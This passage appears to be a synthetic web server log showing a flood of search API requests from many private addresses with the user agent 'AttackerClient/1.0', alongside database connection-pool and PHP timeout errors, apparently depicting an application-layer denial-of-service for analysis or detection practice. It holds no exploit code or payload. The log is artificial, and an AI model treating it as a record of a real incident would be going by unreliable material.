"AttackerClient/1.0" +Jul 02 12:02:40 192.168.28.66 - - [02/Jul/2025:12:02:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_387" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:45 192.168.167.201 - - [02/Jul/2025:12:02:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_374" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:45 192.168.196.160 - - [02/Jul/2025:12:02:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_835" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:45 192.168.28.66 - - [02/Jul/2025:12:02:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_832" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:45 192.168.157.71 - - [02/Jul/2025:12:02:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_334" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:45 192.168.123.70 - - [02/Jul/2025:12:02:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_480" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:45 192.168.82.200 - - [02/Jul/2025:12:02:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_41" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:45 192.168.171.143 - - [02/Jul/2025:12:02:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_432" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:50 192.168.34.30 - - [02/Jul/2025:12:02:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_182" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:50 192.168.48.248 - - [02/Jul/2025:12:02:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_386" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:50 192.168.86.134 - - [02/Jul/2025:12:02:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_97" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:50 192.168.109.226 - - [02/Jul/2025:12:02:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_444" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:50 192.168.203.219 - - [02/Jul/2025:12:02:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_797" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:50 192.168.77.123 - - [02/Jul/2025:12:02:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_371" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:50 192.168.144.99 - - [02/Jul/2025:12:02:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_864" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:55 192.168.216.177 - - [02/Jul/2025:12:02:55 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_487" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:55 192.168.86.134 - - [02/Jul/2025:12:02:55 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_975" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:55 192.168.167.201 - - [02/Jul/2025:12:02:55 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_484" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:55 192.168.247.39 - - [02/Jul/2025:12:02:55 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_796" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:02:55 db-connector[5678]: ERROR Connection pool exhausted +Jul 02 12:02:55 web-app[1234]: ERROR Maximum execution time of 30 seconds exceeded in /var/www/html/search.php on line 123 +Jul 02 12:03:00 192.168.221.1 - - [02/Jul/2025:12:03:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_847" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:00 192.168.224.30 - - [02/Jul/2025:12:03:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_100" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:00 192.168.86.134 - - [02/Jul/2025:12:03:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_672" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:00 192.168.34.30 - - [02/Jul/2025:12:03:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_775" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:00 192.168.72.129 - - [02/Jul/2025:12:03:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_884" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:00 mysqld[6789]: WARNING Aborted connection 166 to db: 'webapp_db' user: 'webapp_user' host: 'localhost' (Got timeout writing communication packets) +Jul 02 12:03:05 192.168.77.236 - - [02/Jul/2025:12:03:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_207" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:05 192.168.77.123 - - [02/Jul/2025:12:03:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_498" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:05 192.168.79.28 - - [02/Jul/2025:12:03:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_443" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:10 192.168.145.84 - - [02/Jul/2025:12:03:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_688" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:10 192.168.167.29 - - [02/Jul/2025:12:03:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_295" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:10 192.168.241.140 - - [02/Jul/2025:12:03:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_655" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:10 192.168.50.169 - - [02/Jul/2025:12:03:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_835" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:10 192.168.77.236 - - [02/Jul/2025:12:03:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_197" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:10 192.168.179.126 - - [02/Jul/2025:12:03:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_677" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:15 192.168.71.37 - - [02/Jul/2025:12:03:15 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_386" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:15 192.168.66.186 - - [02/Jul/2025:12:03:15 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_825" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:15 192.168.195.12 - - [02/Jul/2025:12:03:15 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_553" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:20 192.168.77.123 - - [02/Jul/2025:12:03:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_887" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:20 192.168.158.81 - - [02/Jul/2025:12:03:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_791" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:20 192.168.86.134 - - [02/Jul/2025:12:03:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_526" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:20 192.168.34.30 - - [02/Jul/2025:12:03:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_472" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:20 192.168.115.37 - - [02/Jul/2025:12:03:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_471" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:20 192.168.2.217 - - [02/Jul/2025:12:03:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_740" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:20 db-connector[5678]: ERROR Connection pool exhausted +Jul 02 12:03:25 192.168.123.70 - - [02/Jul/2025:12:03:25 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_610" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:25 192.168.77.123 - - [02/Jul/2025:12:03:25 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_313" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:25 192.168.213.67 - - [02/Jul/2025:12:03:25 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_269" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:25 192.168.152.63 - - [02/Jul/2025:12:03:25 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_260" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:30 192.168.42.197 - - [02/Jul/2025:12:03:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_638" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:30 192.168.157.71 - - [02/Jul/2025:12:03:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_35" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:30 192.168.221.1 - - [02/Jul/2025:12:03:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_974" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:30 192.168.123.70 - - [02/Jul/2025:12:03:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_254" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:30 web-app[1234]: ERROR Maximum execution time of 30 seconds exceeded in /var/www/html/search.php on line 123 +Jul 02 12:03:35 192.168.82.200 - - [02/Jul/2025:12:03:35 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_659" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:35 192.168.42.243 - - [02/Jul/2025:12:03:35 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_213" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:35 192.168.224.30 - - [02/Jul/2025:12:03:35 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_20" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:40 192.168.158.81 - - [02/Jul/2025:12:03:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_464" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:40 192.168.224.30 - - [02/Jul/2025:12:03:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_245" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:40 192.168.171.143 - - [02/Jul/2025:12:03:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_597" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:40 192.168.51.24 - - [02/Jul/2025:12:03:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_956" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:40 192.168.66.186 - - [02/Jul/2025:12:03:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_217" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:40 192.168.86.134 - - [02/Jul/2025:12:03:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_776" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:45 192.168.42.243 - - [02/Jul/2025:12:03:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_200" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:45 192.168.36.154 - - [02/Jul/2025:12:03:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_161" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:45 192.168.34.30 - - [02/Jul/2025:12:03:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_863" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:45 db-connector[5678]: ERROR Connection pool exhausted +Jul 02 12:03:45 mysqld[6789]: WARNING Aborted connection 182 to db: 'webapp_db' user: 'webapp_user' host: 'localhost' (Got timeout writing communication packets) +Jul 02 12:03:50 192.168.158.81 - - [02/Jul/2025:12:03:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_850" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:50 192.168.241.140 - - [02/Jul/2025:12:03:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_723" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:50 192.168.42.243 - - [02/Jul/2025:12:03:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_166" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:50 192.168.196.160 - - [02/Jul/2025:12:03:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_905" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:55 192.168.72.129 - - [02/Jul/2025:12:03:55 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_579" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:55 192.168.167.29 - - [02/Jul/2025:12:03:55 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_53" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:55 192.168.50.169 - - [02/Jul/2025:12:03:55 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_597" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:03:55 192.168.102.19 - - [02/Jul/2025:12:03:55 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_645" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:00 192.168.50.169 - - [02/Jul/2025:12:04:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_496" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:00 192.168.102.19 - - [02/Jul/2025:12:04:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_167" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:00 192.168.145.84 - - [02/Jul/2025:12:04:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_24" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:00 192.168.50.169 - - [02/Jul/2025:12:04:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_397" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:00 192.168.167.29 - - [02/Jul/2025:12:04:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_33" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:05 192.168.171.143 - - [02/Jul/2025:12:04:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_385" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:05 192.168.203.219 - - [02/Jul/2025:12:04:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_275" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:05 192.168.82.200 - - [02/Jul/2025:12:04:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_127" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:05 192.168.250.143 - - [02/Jul/2025:12:04:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_43" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:05 192.168.213.67 - - [02/Jul/2025:12:04:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_914" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:05 192.168.51.24 - - [02/Jul/2025:12:04:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_601" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:05 192.168.2.217 - - [02/Jul/2025:12:04:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_36" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:05 web-app[1234]: ERROR Maximum execution time of 30 seconds exceeded in /var/www/html/search.php on line 123 +Jul 02 12:04:10 192.168.109.226 - - [02/Jul/2025:12:04:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_784" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:10 192.168.203.219 - - [02/Jul/2025:12:04:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_838" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:10 192.168.213.67 - - [02/Jul/2025:12:04:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_952" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:10 192.168.102.19 - - [02/Jul/2025:12:04:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_685" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:10 192.168.50.169 - - [02/Jul/2025:12:04:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_766" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:10 192.168.77.123 - - [02/Jul/2025:12:04:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_808" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:10 db-connector[5678]: ERROR Connection pool exhausted +Jul 02 12:04:15 192.168.173.250 - - [02/Jul/2025:12:04:15 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_163" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:15 192.168.115.37 - - [02/Jul/2025:12:04:15 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_766" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:15 192.168.234.70 - - [02/Jul/2025:12:04:15 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_808" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:15 192.168.86.134 - - [02/Jul/2025:12:04:15 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_391" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:15 192.168.42.197 - - [02/Jul/2025:12:04:15 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_943" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:20 192.168.50.169 - - [02/Jul/2025:12:04:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_576" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:20 192.168.123.70 - - [02/Jul/2025:12:04:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_736" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:20 192.168.195.12 - - [02/Jul/2025:12:04:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_312" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:20 192.168.152.63 - - [02/Jul/2025:12:04:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_730" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:20 192.168.158.81 - - [02/Jul/2025:12:04:20 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_840" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:25 192.168.77.123 - - [02/Jul/2025:12:04:25 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_288" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:25 192.168.128.100 - - [02/Jul/2025:12:04:25 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_102" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:25 192.168.224.30 - - [02/Jul/2025:12:04:25 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_304" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:25 192.168.128.100 - - [02/Jul/2025:12:04:25 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_294" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:30 192.168.195.12 - - [02/Jul/2025:12:04:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_914" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:30 192.168.171.143 - - [02/Jul/2025:12:04:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_86" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:30 192.168.247.39 - - [02/Jul/2025:12:04:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_993" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:30 192.168.158.81 - - [02/Jul/2025:12:04:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_343" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:30 192.168.42.243 - - [02/Jul/2025:12:04:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_802" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:30 192.168.195.12 - - [02/Jul/2025:12:04:30 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_247" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:30 mysqld[6789]: WARNING Aborted connection 145 to db: 'webapp_db' user: 'webapp_user' host: 'localhost' (Got timeout writing communication packets) +Jul 02 12:04:35 192.168.36.154 - - [02/Jul/2025:12:04:35 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_537" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:35 192.168.115.37 - - [02/Jul/2025:12:04:35 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_911" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:35 192.168.34.30 - - [02/Jul/2025:12:04:35 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_389" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:35 192.168.196.160 - - [02/Jul/2025:12:04:35 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_323" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:35 192.168.173.250 - - [02/Jul/2025:12:04:35 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_505" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:35 db-connector[5678]: ERROR Connection pool exhausted +Jul 02 12:04:40 192.168.71.37 - - [02/Jul/2025:12:04:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_660" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:40 192.168.71.37 - - [02/Jul/2025:12:04:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_171" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:40 192.168.144.99 - - [02/Jul/2025:12:04:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_393" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:40 192.168.171.143 - - [02/Jul/2025:12:04:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_52" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:40 192.168.34.30 - - [02/Jul/2025:12:04:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_114" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:40 192.168.183.236 - - [02/Jul/2025:12:04:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_41" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:40 192.168.73.60 - - [02/Jul/2025:12:04:40 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_348" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:40 web-app[1234]: ERROR Maximum execution time of 30 seconds exceeded in /var/www/html/search.php on line 123 +Jul 02 12:04:45 192.168.158.81 - - [02/Jul/2025:12:04:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_580" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:45 192.168.77.123 - - [02/Jul/2025:12:04:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_793" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:45 192.168.213.67 - - [02/Jul/2025:12:04:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_661" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:45 192.168.234.70 - - [02/Jul/2025:12:04:45 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_688" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:50 192.168.36.246 - - [02/Jul/2025:12:04:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_323" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:50 192.168.247.39 - - [02/Jul/2025:12:04:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_885" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:50 192.168.196.160 - - [02/Jul/2025:12:04:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_76" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:50 192.168.144.99 - - [02/Jul/2025:12:04:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_440" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:50 192.168.72.129 - - [02/Jul/2025:12:04:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_793" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:50 192.168.167.201 - - [02/Jul/2025:12:04:50 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_118" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:55 192.168.42.243 - - [02/Jul/2025:12:04:55 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_777" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:55 192.168.203.219 - - [02/Jul/2025:12:04:55 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_521" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:55 192.168.203.219 - - [02/Jul/2025:12:04:55 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_397" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:55 192.168.171.143 - - [02/Jul/2025:12:04:55 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_853" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:55 192.168.250.143 - - [02/Jul/2025:12:04:55 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_850" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:04:55 192.168.34.30 - - [02/Jul/2025:12:04:55 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_516" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:00 192.168.82.200 - - [02/Jul/2025:12:05:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_96" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:00 192.168.102.19 - - [02/Jul/2025:12:05:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_167" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:00 192.168.145.84 - - [02/Jul/2025:12:05:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_659" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:00 192.168.226.203 - - [02/Jul/2025:12:05:00 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_802" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:00 db-connector[5678]: ERROR Connection pool exhausted +Jul 02 12:05:05 192.168.77.236 - - [02/Jul/2025:12:05:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_961" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:05 192.168.115.37 - - [02/Jul/2025:12:05:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_63" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:05 192.168.86.134 - - [02/Jul/2025:12:05:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_538" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:05 192.168.157.71 - - [02/Jul/2025:12:05:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_523" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:05 192.168.42.197 - - [02/Jul/2025:12:05:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_303" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:05 192.168.82.200 - - [02/Jul/2025:12:05:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_254" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:05 192.168.144.99 - - [02/Jul/2025:12:05:05 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_306" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:10 192.168.224.30 - - [02/Jul/2025:12:05:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_781" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:10 192.168.79.28 - - [02/Jul/2025:12:05:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_725" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:10 192.168.127.217 - - [02/Jul/2025:12:05:10 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_963" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:15 192.168.121.144 - - [02/Jul/2025:12:05:15 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_250" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:15 192.168.109.226 - - [02/Jul/2025:12:05:15 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_537" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:15 192.168.195.12 - - [02/Jul/2025:12:05:15 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_396" 499 0 "-" "AttackerClient/1.0" +Jul 02 12:05:15 192.168.73.60 - - [02/Jul/2025:12:05:15 +0000] "GET /api/v1/search?query=some_very_long_and_complex_search_string_763" 499 0 "-" 